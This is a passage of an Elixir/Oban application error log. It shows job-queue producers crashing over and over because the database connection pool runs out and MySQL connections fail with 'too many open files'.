    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:41:39.240338Z], limit: 50, uuid: "32fa2b1f-a7e0-47aa-8f99-80e8ecbf9321", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:39.240344Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66668>, refresh_timer: #Reference<0.2525715032.1068498948.72896>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:41:39.239805Z], limit: 5, uuid: "88c074d6-1114-460e-aa92-6b469b7f27c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:39.239811Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.214636>, refresh_timer: #Reference<0.2525715032.1121189889.214596>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:41:55.710000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:56.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:41:57.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:01.414000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:01.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:02.953000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:41:51.239987Z], limit: 5, uuid: "54b90a89-1aa4-45a1-8c2b-511eeddfa0b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:51.239993Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.48796>, refresh_timer: #Reference<0.2525715032.1068498948.73034>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:41:51.240371Z], limit: 20, uuid: "e95ec28f-f00c-4d49-b528-cf8b9a94bbfe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:51.240376Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66704>, refresh_timer: #Reference<0.2525715032.1099431938.66703>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:41:51.240586Z], limit: 5, uuid: "dab191bd-1d02-4561-8495-163def32c0b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:51.240591Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215051>, refresh_timer: #Reference<0.2525715032.1068498948.73045>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:41:51.240558Z], limit: 50, uuid: "d38c6db2-168f-4485-b35e-6f00405ee1c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:51.240564Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.48795>, refresh_timer: #Reference<0.2525715032.1077673987.48786>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:41:51.240400Z], limit: 3, uuid: "fe65eed7-7023-457e-aeba-e742f599b4d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:51.240406Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215050>, refresh_timer: #Reference<0.2525715032.1077673987.48779>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:41:51.239509Z], limit: 10, uuid: "04b2c7cc-c2bb-43db-be6e-95a3d4360926", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:41:51.239518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215049>, refresh_timer: #Reference<0.2525715032.1099431938.66690>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:03.370000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:04.366000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:06.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:13.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:13.184000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:15.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
